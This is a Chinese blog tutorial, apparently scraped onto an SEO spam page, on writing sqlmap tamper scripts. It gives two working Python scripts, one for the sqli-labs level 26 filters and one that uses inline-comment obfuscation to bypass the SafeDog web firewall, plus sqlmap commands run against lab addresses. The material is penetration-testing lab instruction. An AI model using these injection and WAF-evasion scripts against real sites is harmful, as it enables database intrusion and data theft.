当前位置: 首页 > news >正文

撰写网站建设技术解决方案天津百度网站快速排名

撰写网站建设技术解决方案,天津百度网站快速排名,闵行网站设计,网站用户注册怎么做文章目录 tamper脚本是什么?指定tamper脚本运行sqlmap安全狗绕过tamper脚本 tamper脚本是什么? SQLMap 是一款SQL注入神器,可以通过tamper 对注入payload 进行编码和变形,以达到绕过某些限制的目的。但是有些时候,SQLM…

文章目录

  • tamper脚本是什么?
  • 指定tamper脚本运行sqlmap
  • 安全狗绕过tamper脚本

tamper脚本是什么?

SQLMap 是一款SQL注入神器,可以通过tamper 对注入payload 进行编码和变形,以达到绕过某些限制的目的。但是有些时候,SQLMap 自带的Tamper 脚本并不是特别好用,需要根据实际情况定制Tamper 脚本。

sqlmap的编写语言也是python,tamper脚本能增强sqlmap的功能,达到绕过检测的目的。

指定tamper脚本运行sqlmap

在kali中用下面命令查找sqlmap所在的目录:

find / -name sqlmap

如图,查找成功:

在这里插入图片描述

下面是一个简单的tamper脚本,它将关键字#、and、or和空格都做了替换(and、or双写大小写绕过),加上(?i)忽略大小写(以sqli-labs第26关为例,经过测试这关会过滤空格and、or和空格,需要做双写和大小写绕过):

import refrom lib.core.enums import PRIORITY__priority__ = PRIORITY.HIGHESTdef dependencies():passdef tamper(payload, **kwargs):"""<space>             %a0and                 anANDd--+                  and '1or                  oORr"""payload = re.sub(r"(?i)#"," and '1",payload)payload = re.sub(r"(?i)and","anANDd",payload)payload = re.sub(r"(?i)or","oORr",payload)payload = re.sub(r"(?i)\ ","%a0",payload)return payload

将这段代码放入一个sqli-labs_26.py中,并将文件放到sqlmap所在的目录:
在这里插入图片描述

运行xampp,打开sqli-labs_26复制路径:

在这里插入图片描述

然后在kali中输入下面命令,运行sqlmap:

-tamper指定运行的tamper脚本

–current-db列出当前数据库

-u指定url

-v 指定sqlmap的回显等级

–dbs 列出所有的数据库

python3 sqlmap -u http://10.9.75.164/sqli-labs/Less-26/?id=2 -v3 -tamper sqli-labs_26.py --current-db

如下图,获取到数据库的名称为security,类型为联合查询:

在这里插入图片描述

安全狗绕过tamper脚本

绕过安全狗

1.脏数据

2.大小写转换

3.双写

4.内联注释

安装安全狗,以sqli-labs第1关为例,绕过安全狗应该从上面4个方面考虑,经过测试,只有第四个方法可行,下面是一个内联注释的脚本:

import refrom lib.core.enums import PRIORITY__priority__ = PRIORITY.HIGHESTdef dependencies(): passdef tamper(payload, **kwargs): payload = re.sub(r"(?i)and", "/*!14400and*/", payload)payload = re.sub(r"(?i)order by", "/**/order/*/%0a*a*/by/**/", payload)payload = re.sub(r"(?i)union select", "union/*!88888cas*//*/%0a*a*/select/**/", payload) payload = re.sub(r"(?i)union all select", "union/*!88888cas*//*/%0a*a*/select/**/", payload)payload = re.sub(r"(?i)from information_schema.schemata", "/*!from--%0f/*%0ainformation_schema.schemata*/", payload)payload = re.sub(r"(?i)from information_schema.tables", "/*!from--%0f/*%0ainformation_schema.tables*/", payload)payload = re.sub(r"(?i)from information_schema.columns", "/*!from--%0f/*%0ainformation_schema.columns*/", payload)payload = re.sub(r"(?i)database\(\)", "database(/*!/*/**%0fAJEST*/*/)", payload)#payload = re.sub(r"(?i)count\(*\)","count(1)",payload)payload = re.sub(r"(?i) as","/*!14400as*/",payload)payload = re.sub(r"(?i)char","/*!14400char*/",payload)return payload

和之前获取数据库名称一样,将该脚本文件放到sqlmap所在目录下:

在这里插入图片描述

然后用下面命令运行sqlmap,获取数据库名称:

python3 sqlmap -u http://10.9.75.116/sqli-labs/Less-1/?id=1 -v3 --tamper safedog.py --random-agent --dbs

如图,用该脚本文件做tamper绕过安全狗(绕waf)成功,获得数据库名称:

在这里插入图片描述

http://www.zhongyajixie.com/news/24704.html

相关文章:

  • 网站制作找私人多少钱郑州seo培训
  • 济南品牌网站建设价格优化网站快速排名软件
  • 网站改版多少钱大数据统计网站
  • 永州企业网站开发广告的六种广告形式
  • 蛋糕网站设计电商网站建设公司
  • 商城网站上做内容冲突吗福州百度推广优化排名
  • led灯具网站模板电子商务推广方式
  • 做cpa网站职业培训机构排名前十
  • 企业网站排行市场调研分析报告模板
  • 建网站怎么起名字谷歌浏览器下载官方正版
  • PHP做的哪些大型网站1元购买域名
  • 敏感网站用什么浏览器可以直接进入的舆情网站
  • 前沿科技帮客户做的网站有钱赚吗市场营销手段13种手段
  • 做好网站怎么做app互动营销案例100
  • 企业融资渠道有哪些关键词优化怎么弄
  • wordpress做更改老是失败网络seo排名
  • 明年做那些网站致富百度竞价点击价格公式
  • 网站文字规划如何查询百度搜索关键词排名
  • 网站是做推广好还是优化好网络服务提供商是指
  • 网站空间商 权限商品热搜词排行榜
  • 企业网站报价方案模板下载电商数据统计网站
  • 做海产品的外贸网站西安搜建站科技网站
  • 一个完整的网站 技术seo工程师是做什么的
  • 网站编程语言有哪些二维码推广赚佣金平台
  • 个人网页设计作品开题报告网站的seo方案
  • 建站吧销售管理怎么带团队
  • 淘宝电商网站怎么做成都百度关键词排名
  • 创建网站为啥要钱seo推广顾问
  • 开发公司绩效指标优化营商环境 助推高质量发展
  • 赤坎网站开发公司近期10大新闻事件